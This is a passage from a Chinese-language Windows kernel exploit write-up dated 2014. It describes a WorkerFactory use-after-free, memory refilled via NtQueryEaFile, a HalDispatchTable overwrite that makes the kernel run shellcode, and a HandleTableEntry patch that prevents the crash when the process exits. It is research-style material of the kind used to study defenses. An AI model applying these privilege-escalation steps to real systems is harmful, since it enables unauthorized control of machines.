[4] NtQueryEaFile 使用我们精心设置的内容填充刚被释放掉的 WorkerFactory 对象内存空间(UAF)

[5] NtSetInformationWorkerFactory 操作我们的 fake object，达到修改 HalDispatchTable+4 内容为 ShellCode

[6] 用户层调用 NtQueryIntervalProfile，触发内核执行 shellcode

f. 拒绝蓝屏 ---> hack HandleTableEntry

最后我想说的是，经过上面流程提权完全 ok 了，但是有个挥之不去的问题 -→

蓝屏（BSOD）

为什么会蓝屏？

实际操作发现，当结束提权程序时候，会直接 crash 蓝屏，想想也是，我们已经破坏了 WorkerFactory 对象，但是系统并不知道，在进程退出时要清理对象，于是蓝屏也可以理解。

```
93da9b74 83e8d3d8 00000000 bad0b124 00000000 nt!MmAccessFault+0x106
93da9b74 8409210f 00000000 bad0b124 00000000 nt!KiTrap0E+0xdc
93da9c38 840c0ba9 890d33b0 95e7c288 853f4030 nt!ObpCloseHandleTableEntry+0x28
93da9c68 840a8f86 890d33b0 93da9c7c 890012c8 nt!ExSweepHandleTable+0x5f
93da9c88 840b6666 bee06ad8 00000000 853f36a0 nt!ObKillProcess+0x54
93da9cfc 840a8bb9 00000000 ffffffff 002dfa38 nt!PspExitThread+0x5db
93da9d24 83e8a1ea ffffffff 00000000 002dfa44 nt!NtTerminateProcess+0x1fa
```

因为蓝屏发生在提权之后，因此我们完全可以在内核态 shellcode 实现 hack，让系统不知道这个已经 corrupt 的对象!通过逆向 ExSweepHandleTable 发现了解决方法。
ExSweepHandleTable 大意：(ObjectTable 来自 EPROCESS)

```
Handle = 4
while(ObjectTable->HandleCount)
{
    HandleTableEntry = ExpLookupHandleTableEntry(ObjectTable, Handle) ;
    if(*((DWORD*)(HandleTableEntry) & 1)
    {
        ObpCloseHandleTableEntry(...) ;
    }
    Handle += 4
}
```

我们要做的就是 将 hWorkerFactory 对应的 HandleTableEntry 的 Object 域置为 NULL ！，这样就越过了本句柄的释放步骤!

逆向 ExpLookupHandleTableEntry 得出 Handle 与 HandleTableEntry 的关系：

HandleTableEntry = *(DWORD*)ObjectTable + 2*(Handle & 0xFFFFFFC0)

因此通过将对应的 HandleTableEntry 的 Object 域清为 NULL 就可以了☺，此外 HandleCount 也要记得减 1.

另外，恢复 HalDispatchTable 的项也是必要的，否则有可能因为被其他进程调用而蓝屏。

[0x03] 最后

a. 对于 win 7 X64

win7 x64 应该有两个区别，一是各个结构偏移，二是要使用 CreateRoundRectRgn 消耗内核内存，以便能够顺利进入第二次异常

b. 对于 Win8

参考 PDF 资料吧，lz 没精力搞了=-=

c. tr34sur3

double-free 利用

WorkerFactory

NtQueryEaFile

都是好东西 ☺☺☺☺☺

0x710DDDD(Vsbat)

2014-11-14